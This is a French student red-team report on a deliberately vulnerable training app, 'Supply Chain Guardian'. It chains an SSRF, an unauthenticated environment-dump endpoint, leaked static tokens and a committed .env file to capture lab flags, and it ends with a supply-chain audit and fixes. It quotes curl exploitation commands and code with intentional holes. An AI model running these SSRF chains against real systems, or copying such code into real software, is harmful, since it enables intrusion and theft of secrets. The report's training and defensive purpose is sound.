

RAPPORT RED TEAM

Phase T4 — Analyse des vulnerabilites

Vendredi | Fevrier 20, 2026

DevSecOps Escape Game — Supply Chain Guardian

Membres du groupe
- Yohann EKAMBIE SOUAMY
- Mike DAYAWA
- Damien LANING
- Andrisca MABIKA

Equipe

Nom
Yohann EKMABIE SOUAMY
Mike DAYAWA
Andrisca MABIKA
Damien LANING

Perimetre de l'analyse

Analyse offensive de l'application Supply Chain Guardian composee de 2 services Flask (web sur port 5000 + vault sur port 7000), orchestres via Docker Compose, avec un pipeline CI GitHub Actions. L'objectif est d'identifier les vulnerabilites, demontrer leur exploitation, expliquer leur impact et documenter la demarche.

Fichiers audites : web/app.py, vault/app.py, Dockerfile, docker-compose.yml, .env, .github/workflows/ci.yml, scripts/pipeline.sh.

Mission 1 — Exploitation SSRF

Redacteur : *Mike DAYAWA*

Objectif : Demontrer qu'une SSRF permet d'acceder a un service interne non expose publiquement.

1. Identification de la route vulnerable

L'endpoint /fetch dans web/app.py (lignes 48-69) accepte un parametre url et effectue une requete HTTP cote serveur via requests.get() sans aucune validation de la destination. Seul le schema file:// est bloque, laissant http:// et https:// totalement ouverts.

Code vulnerable (web/app.py) :

```
@app.get('/fetch')
def fetch():
    url = request.args.get('url', '')
    if not url:
        return jsonify({'error': 'Missing url parameter'}), 400

    if url.startswith('file://'):
        return jsonify({'error': 'file:// URLs are not allowed'}), 400

    try:
        r = requests.get(url, timeout=2)  # ← AUCUNE VALIDATION !
        return (r.text, r.status_code, ...)
```

Problemes identifies :

- Pas d'allowlist de domaines autorises
- Pas de blocage des plages IP privees (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- Pas de protection anti-DNS rebinding
- Pas de desactivation des redirections (allow_redirects=True par defaut)

2. Acces au service interne

Le service vault tourne sur le reseau Docker interne port 7000 et n'est PAS expose dans le docker-compose.yml (pas de ports:). Il est donc normalement inaccessible depuis l'exterieur. Cependant, le service web est sur le meme reseau Docker bridge.

Architecture reseau Docker :

```
services:
  web:     # ports: ['5001:5000']  → accessible depuis le host
    build: .
    depends_on: [vault]

  vault:   # PAS DE PORTS → interne uniquement
    build: .
    command: ['python', 'vault/app.py']  # ecoute sur :7000
```

Exploitation — requete SSRF depuis /fetch :

```
# Le serveur web resout 'vault' via le DNS Docker interne
$ curl "http://localhost:5001/fetch?url=http://vault:7000/health"

→ {"ok": true}   # Preuve d'acces au service interne !
```

PREUVE : Le service vault (port 7000, non expose) est atteint via SSRF

3. Pourquoi cela fonctionne

Qui fait la requete ?

C'est le serveur web (conteneur Docker) qui effectue la requete HTTP, pas le client (navigateur). Quand l'utilisateur appelle /fetch?url=http://vault:7000/..., le code Python du serveur execute requests.get('http://vault:7000/...') depuis l'interieur du reseau Docker.

Pourquoi cela contourne l'isolation ?

- Docker Compose cree un reseau bridge par defaut ou tous les services se voient
- Le DNS interne Docker resout automatiquement 'vault' vers l'IP du conteneur vault

- ● Le serveur web a une relation de confiance implicite : il est DANS le reseau
- ● L'attaquant n'a pas besoin de connaitre l'IP — le nom du service suffit

4. Description du risque

Critere	Evaluation
Severite	CRITIQUE (CVSS 8.6 — CWE-918)
Vecteur	Reseau (requete HTTP simple)
Complexite	Basse — aucune authentification requise
Impact	Acces complet a tous les services internes Docker
Blast radius	Vault, BDD, caches, metadata cloud (169.254.169.254)

Questions de comprehension :

- **Cause racine :** Le endpoint /fetch ne valide ni la destination ni les plages IP privees
- **Confiance exploitee :** Confiance implicite dans le reseau Docker bridge — tous les services se voient
- **Frontiere franchie :** Frontiere reseau : acces depuis le host vers le reseau Docker interne
- **Impact production :** Exfiltration de donnees internes, mouvement lateral, acces metadata cloud AWS/GCP

Mission 2 — Exfiltration de secret

Redacteur : *Andrisca MABIKA*

Objectif : Exploiter la SSRF pour recuperer un secret (token interne).

1. Identification de la fuite d'information

Le service vault expose un endpoint /debug (vault/app.py, lignes 20-22) qui renvoie l'integralite des variables d'environnement sans aucune authentification :

```
# vault/app.py — Endpoint dangereux
@app.get('/debug')
def debug():
    return jsonify(dict(os.environ))  # TOUT l'environnement !
```

Ce endpoint est accessible via la SSRF decouverte en Mission 1.

2. Recuperation du token interne

Chaine d'exploitation SSRF → /debug → VAULT_TOKEN :

```
# Etape 1 : Via SSRF, dumper les variables d'environnement du vault
$ curl "http://localhost:5001/fetch?url=http://vault:7000/debug"

→ {
    "VAULT_TOKEN": "7Db33sFjTDvB8ILDMJeOYwdy",
    "FLAG_VAULT": "FLAG{ssrf_reached_vault}",
    "HOSTNAME": "...",
    "PATH": "/usr/local/bin:/usr/local/sbin:...",
    ...
  }
```

TOKEN RECUPERE : VAULT_TOKEN = 7Db33sFjTDvB8ILDMJeOYwdy

3. Mecanisme d'exploitation

La chaine d'exploitation complete en 3 etapes :

Etape	Action	Resultat
1	SSRF via /fetch?url=http://vault:7000/debug	Dump de toutes les variables d'env
2	Extraction du VAULT_TOKEN depuis la reponse JSON	Token = 7Db33sFjTDvB8ILDMJeOYwdy
3	Utilisation du token pour acceder a /secret	Flag du vault obtenu (Mission 3)

Pourquoi /debug est dangereux :

- ● Expose TOUTES les variables d'environnement sans discriminer secrets vs config
- ● Aucune authentification requise — accessible a quiconque atteint le service
- ● Inclut tokens, flags, chemins internes : surface d'attaque maximale

4. Blast Radius (rayon d'explosion)

La compromission du VAULT_TOKEN permet :

Donnee exfiltree	Type	Impact
VAULT_TOKEN	Credential	Acces complet au vault et ses secrets
FLAG_VAULT	Flag	Preuve de compromission
Variables systeme	Config	Reconnaissance du conteneur
Futur : DB_PASSWORD, API_KEY...	Credentials	Mouvement lateral vers autres services

Questions de comprehension :

- **Cause racine :** Le endpoint /debug expose os.environ sans filtrage ni authentification
- **Confiance exploitee :** Le vault suppose que seuls des services de confiance l'atteignent (isolation reseau)
- **Frontiere franchie :** Frontiere d'authentification : un endpoint sans auth dans un service 'protege' par le reseau
- **Impact production :** Fuite de tous les secrets du vault → compromission en cascade de l'infrastructure

Mission 3 — Acces a une ressource protegee (Flag Vault)

Redacteur : *Damien LANING*

Objectif : Utiliser le token recupere en Mission 2 pour acceder au flag protege du vault.

1. Identification du mecanisme de protection

Le service vault expose un endpoint /secret (vault/app.py, lignes 6-14) protege par un parametre token compare a la variable d'environnement VAULT_TOKEN :

```
# vault/app.py — Endpoint protege par token
@app.get('/secret')
def secret():
    tok = request.args.get('token', '')
    if tok != os.getenv('VAULT_TOKEN', ''):
        abort(403)  # Acces refuse si token invalide
    return jsonify({
        'vault': 'ok',
        'flag_vault': os.getenv('FLAG_VAULT', 'FLAG{missing}')
    })
```

Mecanisme d'authentification :

- ● Token statique passe en parametre GET dans l'URL
- ● Comparaison directe (==) avec la variable d'environnement VAULT_TOKEN
- ● Pas de rate limiting, pas de logging des tentatives, pas de TTL

2. Contournement de la protection

Grace aux informations obtenues en Mission 2 (VAULT_TOKEN via /debug), le contournement est trivial. Il suffit de combiner la SSRF avec le token :

Exploitation — SSRF + token exfiltre :

```
# Construction de l'URL avec le token recupere en M2
$ curl "http://localhost:5001/fetch?url=http://vault:7000/secret?token=7Db33sFjTDvB8ILDMJeOYwdy"

→ {"vault": "ok", "flag_vault": "FLAG{ssrf_reached_vault}"}
```

FLAG OBTENU : FLAG{ssrf_reached_vault}

3. Recuperation du flag — preuve

La chaine d'exploitation complete (M1 → M2 → M3) :

Mission	Action	Resultat
M1 — SSRF	Decouverte de /fetch non protege	Acces au reseau interne Docker
M2 — Exfiltration	SSRF → /debug → dump env vars	VAULT_TOKEN = 7Db33sFjTDvB8ILDMJeOYwdy
M3 — Flag Vault	SSRF → /secret?token=...	FLAG{ssrf_reached_vault}

Points cles :

- Le flag est accessible en une seule requete HTTP si le token est connu
- La SSRF sert de pivot a chaque etape : decouverte → exfiltration → exploitation
- Aucun mecanisme de detection ou d'alerte n'est en place

4. Faiblesses de conception

Analyse architecturale :

Faiblesse	Description	Impact
Token en GET	Le token circule en clair dans l'URL, logue par les serveurs/proxies	Fuite via logs
Token statique	Jamais renouvele, pas de TTL, pas de rotation	Compromission permanente
Pas de mTLS	Authentication par token au lieu de certificat mutuel	Usurpation d'identite triviale
/debug ouvert	Permet de recuperer le token sans brute-force	Contournement total de l'auth
Meme image Docker	web et vault partagent le meme build context	Surface d'attaque elargie

Questions de comprehension :

- **Cause racine :** Le vault repose sur un token statique transmis en parametre GET, accessible via /debug
- **Confiance exploitee :** Confiance dans l'isolation reseau Docker — supposee suffisante comme barriere
- **Frontiere franchie :** Frontiere d'authentification : token faible + endpoint debug exposant le secret
- **Impact production :** En production, un attaquant aurait acces permanent a tous les secrets du vault

Mission 4 — Exploitation de faiblesse d'authentification (Admin Flag)

Redacteur : *EKAMBIE SOUAMY Yohann*

Objectif : Analyser le mecanisme d'authentification de l'endpoint /admin et recuperer le flag.

1. Identification de la methode d'authentification

L'endpoint /admin (web/app.py, lignes 72-81) utilise une authentification par token statique passe en parametre GET :

```
# web/app.py — Authentification admin
@app.get('/admin')
def admin():
    token = request.args.get('token', '')
    if token != os.getenv('ADMIN_TOKEN', ''):
        abort(403)
    return jsonify({
        'admin': True,
        'flag_supply_chain': os.getenv('FLAG_SUPPLY', 'FLAG{missing}'),
        'hint': 'Try auditing the pipeline scripts & dependencies...'
    })
```

Caracteristiques de l'authentification :

- Token statique : ADMIN_TOKEN=bSXdxNlOVFk8tEPgmqRWNwOibH6wxJVx
- Transmission en GET : http://host/admin?token=... (visible dans logs, historique)
- Pas de session, pas de JWT, pas de 2FA
- Comparaison directe sans rate limiting ni lockout

2. Evaluation de la robustesse

Le token ADMIN_TOKEN est expose via TROIS vecteurs differents :

Vecteur	Methode d'acces	Difficulte
1. Fichier .env dans Git	git clone → cat .env	Trivial
2. Build context Docker	docker exec <ID> cat /app/.env	Faible (acces Docker)
3. SSRF + /debug vault	Le vault expose aussi les variables d'env partagees	Faible (SSRF)

Exploitation directe via le .env commite :

```
# Le .env est commite dans le repo — lecture directe :
$ cat .env | grep ADMIN_TOKEN
→ ADMIN_TOKEN=bSXdxNlOVFk8tEPgmqRWNwOibH6wxJVx

# Acces a /admin avec le token :
$ curl "http://localhost:5001/admin?token=bSXdxNlOVFk8tEPgmqRWNwOibH6wxJVx"

→ {"admin": true, "flag_supply_chain": "FLAG{supply_chain_guardian}",
   "hint": "Try auditing the pipeline scripts & dependencies..."}
```

3. Recuperation du flag

FLAG OBTENU : FLAG{supply_chain_guardian}

Le flag est obtenu sans aucune technique avancee : une simple lecture du fichier .env suffit pour recuperer le ADMIN_TOKEN, puis un curl vers /admin.

4. Pourquoi cette approche est dangereuse

Analyse des risques :

Risque	Description	Consequence
Token en URL	Logue dans access logs, historique navigateur, proxies	Fuite passive vers systemes de logging
Pas de 2FA	Un seul facteur (token) = compromission en 1 etape	Pas de defense en profondeur
Secret commite	.env dans Git = accessible a tout cloner du repo	Compromission par n'importe quel contributeur
Pas de rotation	Token identique tout au long du cycle de vie	Acces permanent apres compromission
Pas de token revocation	Impossible d'invalider un token compromis	Aucune remediation possible sans redemarrage
Pas d'audit trail	Aucun log d'acces ni d'echec d'authentification	Pas de detection d'intrusion

Questions de comprehension :

- **Cause racine :** Authentification par token statique partage, transmis en clair via GET parameter
- **Confiance exploitee :** Confiance dans le secret du token — or le token est commite dans le .env du repo Git
- **Frontiere franchie :** Frontiere d'authentification/autorisation : un token statique est la seule barriere vers les privileges admin
- **Impact production :** Acces administrateur complet a l'application, exfiltration de tous les flags et secrets

Mission 5 — Audit Supply Chain

Redacteur : *Damien / Yohann/ Mike/Andrisca*

Objectif : Identifier au moins 5 faiblesses dans le Dockerfile, la pipeline CI/CD et la gestion des dependances.

1. Faiblesses identifiees — Dockerfile

Fichier audite : Dockerfile (21 lignes)

```
FROM python:3.11-slim          # ← Tag non pinnee (pas de digest SHA)

WORKDIR /app
COPY . /app                    # ← Copie TOUT : .env, .git/, scripts/

RUN pip install --no-cache-dir -r web/requirements.txt && \
    pip install --no-cache-dir -r vault/requirements.txt
```

```
# Pas de USER → execute en root
# Pas de HEALTHCHECK
EXPOSE 5000 7000
CMD ["python","web/app.py"]
```

2. Faiblesses identifiees — Pipeline CI/CD

Fichiers audites : .github/workflows/ci.yml + scripts/pipeline.sh

```
# ci.yml — Pipeline CI intentionnellement vulnerable
steps:
  - uses: actions/checkout@v4        # OK, mais pas de hash pinning
  - run: pip install -r web/requirements.txt  # Pas de lock file
  - run: docker build -t mycorp/escape-app:latest .  # Tag latest !
  - run: echo 'Pretend pushing latest...'  # Pas de signing/push reel

# pipeline.sh — Tout est skippe :
# Lint? (skipped) | Tests? (skipped) | Audit deps? (skipped)
# Image scan? (skipped) | SBOM? (skipped) | Signing? (skipped)
```

3. Tableau des faiblesses

#	Probleme	Risque	Impact	Mitigation
1	COPY . /app sans .dockerignore	Build Context Leakage (CWE-200)	Secrets (.env, .git) embarques dans l'image	Creer .dockerignore : .env .git/ scripts/ *.md
2	Execution en root (pas de USER)	Privilege Escalation	Un RCE = controle total du conteneur	RUN useradd -r app && USER app
3	Tag latest (pas de SHA digest)	Supply Chain Attack	Image de base modifiee = injection silencieuse	FROM python:3.11-slim@sha256:abc...
4	Pas de tests unitaires	Regression non detectee	Code casse deploye en production	pytest + pytest-cov dans le pipeline
5	Pas de SAST (bandit)	Vulnerabilites code non detectees	SSRF, injection deployees sans alerte	bandit -r web/ vault/ --fail-on high
6	Pas d'audit dependances (pip-audit)	Dependances vulnerables (CVE)	Exploitation de CVE connues par attaquant	pip-audit -r requirements.txt
7	Pas de scan d'image (trivy)	CVE dans paquets OS / Python	Conteneur compromis via CVE systeme	trivy image mycorp/escape-app
8	Pas de SBOM (syft)	Inventaire dependances inconnu	Pas de traceabilite en cas d'incident	syft mycorp/escape-app -o spdx-json
9	Pas de signature d'image (cosign)	Image non authentifiee	Deploiement d'image modifiee par un tiers	cosign sign + cosign verify en CI
10	Pas de policy gate (OPA/Kyverno)	Deploiement sans respect des regles	Images non scannees deployees en prod	conftest verify + admission controller
11	.env commite dans le repo	Fuite de secrets (CWE-798)	Tokens et flags lisibles par tous	.gitignore + gitleaks + rotation
12	Pas de HEALTHCHECK dans Dockerfile	Conteneur zombie non detecte	Service KO sans redemarrage automatique	HEALTHCHECK CMD curl -f http://localhost:5000/status

4. Analyse detaillee des 5 risques majeurs

Risque 1 — Build Context Leakage (.dockerignore absent) :

L'instruction COPY . /app copie l'integralite du repertoire dans l'image Docker. Sans .dockerignore, le fichier .env (avec tous les secrets), le repertoire .git/ (avec l'historique complet), et les scripts internes sont embarques. Tout utilisateur ayant acces a l'image peut extraire ces fichiers via docker run --rm <image> cat /app/.env.

Risque 2 — Execution en tant que root :

Le Dockerfile ne definit pas de directive USER. Le processus Python tourne en root (UID 0). En cas de RCE (Remote Code Execution), l'attaquant obtient immediatement un shell root dans le conteneur, pouvant potentiellement s'echapper vers le host.

Risque 3 — Tag 'latest' sans SHA pinning :

L'image de base python:3.11-slim utilise un tag mutable. Un attaquant compromettant le registre pourrait injecter une image malveillante sous le meme tag. La mitigation est d'utiliser un digest SHA256 : python:3.11-slim@sha256:...

Risque 4 — Absence totale de quality gates :

La pipeline CI ne contient aucun test, aucun scan SAST (bandit), aucun audit de dependances (pip-audit), aucun scan d'image (trivy). Du code vulnerable peut etre merge et deploye sans detection.

Risque 5 — Pas de provenance ni signature :

Les images produites ne sont ni signees (cosign) ni accompagnees d'une SBOM (syft). Impossible de prouver l'integrite de l'image ni de tracer les dependances en cas d'incident de securite (ex: Log4Shell).

5. Matrice des questions de comprehension

Question	Reponse
Cause racine ?	Absence de .dockerignore, pas de USER, pas de quality gates dans la CI
Confiance exploitee ?	Confiance implicite dans le build context (COPY .) et le tag d'image (latest)
Frontiere franchie ?	Frontiere de gouvernance : aucun controle entre le developpeur et la production
Impact en production ?	Image avec secrets, deploiement de code vulnerable, pas de traceabilite

Synthese globale

Mission	Responsable	Flag / Resultat	Methode
M1 — SSRF	Y. EKMABIE SOUAMY	Acces vault interne	SSRF /fetch → vault:7000
M2 — Exfiltration	Y. EKMABIE SOUAMY	VAULT_TOKEN exfiltre	SSRF → /debug → env vars
M3 — Flag Vault	M. DAYAWA	FLAG{ssrf_reached_vault}	SSRF → /secret?token=...
M4 — Admin Flag	A. MABIKA	FLAG{supply_chain_guardian}	.env → /admin?token=...
M5 — Supply Chain	D. LANING	12 faiblesses identifiees	Audit Dockerfile + CI + deps

Actions correctives prioritaires

Priorite	Action	Effort	Impact secu
P0	Supprimer /debug ou ajouter auth forte	< 15 min	Stoppe l'exfiltration de secrets
P0	Retirer .env du repo + .gitignore + gitleaks	< 30 min	Protege les credentials
P1	Allowlist + validation IP dans /fetch	< 1h	Bloque la SSRF
P1	Creer .dockerignore complet	< 10 min	Empeche la fuite de secrets dans l'image
P1	Ajouter USER non-root dans Dockerfile	< 15 min	Limite l'impact d'un RCE
P2	Ajouter tests + SAST + scan dans la CI	2-4h	Detection automatique des vulnerabilites
P2	Implementer SBOM + signature cosign	2h	Traceabilite et integrite des artefacts

Risque global : CRITIQUE — L'application est exploitable en < 5 minutes par un attaquant

Ce que nous avons compris

Une vulnerabilite n'est pas seulement un bug dans le code. C'est :

- Un defaut d'architecture — le reseau Docker bridge n'isole pas les services entre eux
- Une confiance implicite mal placee — le vault fait confiance au reseau au lieu d'authentifier
- Une absence de controle — /fetch sans allowlist, /debug sans auth, /admin sans 2FA
- Une gouvernance insuffisante — pas de tests, pas de scans, pas de quality gates dans la CI

Rapport Red Team — ESAIP DevSecOps IR4 — 20 fevrier 2026